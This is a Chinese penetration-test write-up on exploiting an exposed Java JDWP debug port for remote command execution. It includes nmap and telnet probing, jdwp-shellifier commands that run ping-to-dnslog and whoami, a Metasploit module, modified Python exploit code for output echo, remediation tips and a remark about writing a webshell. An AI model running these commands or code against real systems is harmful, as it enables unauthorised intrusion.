漏洞原理:
JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,在调试Android应用程序这一场景中,Debugger一般是指你的 develop machine 的某一支持 JDWP协议的工具例如 Android Studio 或者 JDB,而 Target JVM是指运行在你mobile设备当中的各个App(因为它们都是一个个虚拟机 Dalvik 或者 ART),JDWP Agent一般负责监听某一个端口,当有 Debugger向这一个端口发起请求的时候,Agent 就转发该请求给 target JVM并最终由该 JVM 来处理请求,并把 reply 信息返回给 Debugger 端。
前期:
由于客户只给了一个IP,通过信息收集并没有发现什么接口,也没有目录信息,通过端口扫描发现开放了端口,尝试IP+端口也不能访问,一度陷入了深思,后面突然想到既然没法访问会不会存在端口漏洞。
过程:
通过nmap工具对端口进行爆破,可以看到存在很多开放的端口。
通过端口查询发现8000端口可能存在漏洞。尝试证明是否存在漏洞。
第一种方法:通过telnet的方式证明。
telnet 127.0.0.1 8000
出现"JDWP-Handshake"即可证明漏洞存在
第二种方法:尝试dnslog回显证明,利用到一个jdwp-shellifier.py的脚本进行dnslog尝试。
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping dnslog地址"
dnslog平台成功回显信息,接下来尝试执行命令。
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"
由于是测试系统不做提权和内网渗透,证明漏洞即可。
第三种方法:
用msfconsole启动Metasploit,并且选用exploit/multi/mis/java_jdwp_debugger漏洞利用模块。
这种方法我没有成功拿下权限,但是提示攻击成功,不知道什么原因,欢迎大佬解答。
修复建议:
-
关闭JDWP端口,或者JDWP端口不对公网开放
-
关闭Java的debug模式(开启该模式对服务器性能有影响)
延申:
由于脚本是无法回显命令,通过查找资料和咨询大佬终于发现一篇文章,是关于这个漏洞脚本回显的。回显这里借用了
为JDWP远程命令执行加上回显
整点薯条,公众号:X型初代机研究中心为JDWP远程命令执行加上回显
通过以上分享的文章尝试修改脚本,最终达到命令回显。
实现的命令执行回显的思路:
-
获取Process对象的引用 -
调用Process对象实例的getInputStream方法,拿到一个InputStream对象 -
需要先获取到"Ljava/lang/Process" -
通过invoke来进行方法调用 -
使用inputStream对象作为参数,创建一个InputStreamReader实例 -
需要获取到"Ljava/io/InputStreamReader;" -
需要拿到构造方法 -
根据协议构造数据将参数传入构造方法,根据协议调用创建实例的方法 -
使用InputStreamReader对象作为参数,创建一个BufferedReader实例 -
循环读取bufferedReader,每次能得到一个String对象的引用值 -
根据JDWP协议拿到String对象引用对应的数据
在执行完exec命令后,其实返回的是一个Process对象的引用,首先需要将这个值取出来(按照JDWP的要求)
# 4. call exec() in this context with the alloc-ed string
data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) # get process id
clazz = jdwp.get_class_by_name("Ljava/lang/Class;")
jdwp.get_methods(clazz["refTypeId"])
def refresh_classes(self):
self.socket.sendall(self.create_packet(ALLCLASSES_SIG))
buf = self.read_reply()
formats = [('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
InputStream ins = process.getInputStream()
;processClass = jdwp.get_class_by_name("Ljava/lang/Process;")
jdwp.get_methods(processClass["refTypeId"])
getInputStreamMeth = jdwp.get_method_by_name("getInputStream")
buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], getInputStreamMeth["methodId"])
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
insId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
接下来需要实现InputStream ins = process.getInputStream()
这个方法,需要构造新的实例。
def new_instance(self, classId, threadId, methodId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.methodIDSize, methodId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(CREATE_NEW_INSTANCE, data=data))
buf = self.read_reply()
return buf
在实际调试过程中发现脚本原有的jdwp类中封装的函数无法准确定位到构造器的方法,此时就需要重新创建一个构造器。
# JAVA: InputStreamReader isr = new InputStreamReader(ins);
inputStreamReaderClass = jdwp.get_class_by_name("Ljava/io/InputStreamReader;")
jdwp.get_methods(inputStreamReaderClass["refTypeId"])
inputStreamReaderConstructor = jdwp.get_method_by_name_and_signature("<init>", "(Ljava/io/InputStream;)V")
data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, insId)]
buf = jdwp.new_instance(inputStreamReaderClass["refTypeId"], threadId, inputStreamReaderConstructor["methodId"],
*data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
inputStreamReaderId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
重复这个过程最终可以生成所有需要的实例,拿到bufferedReader对象之后就能执行readLine方法了,最终将生成的结果使用JDWP中规定的STRINGVALUE_SIG
方式去拿到对应的值即可
result = ""
while True:
buf = jdwp.invoke(bufferedReaderId, threadId, bufferedReaderClass["refTypeId"], readLineMeth[
"methodId"])
if jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) == 0:
break
else:
result += jdwp.solve_string(buf[1:1 + jdwp.objectIDSize])
print "CMD Result: " + result
实战中使用方法:可以直接读取系统信息
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf"
可以更方便快捷的拿到路径写shell了。
原文始发于微信公众号(安全笔记):通过端口找到一个JDWP远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论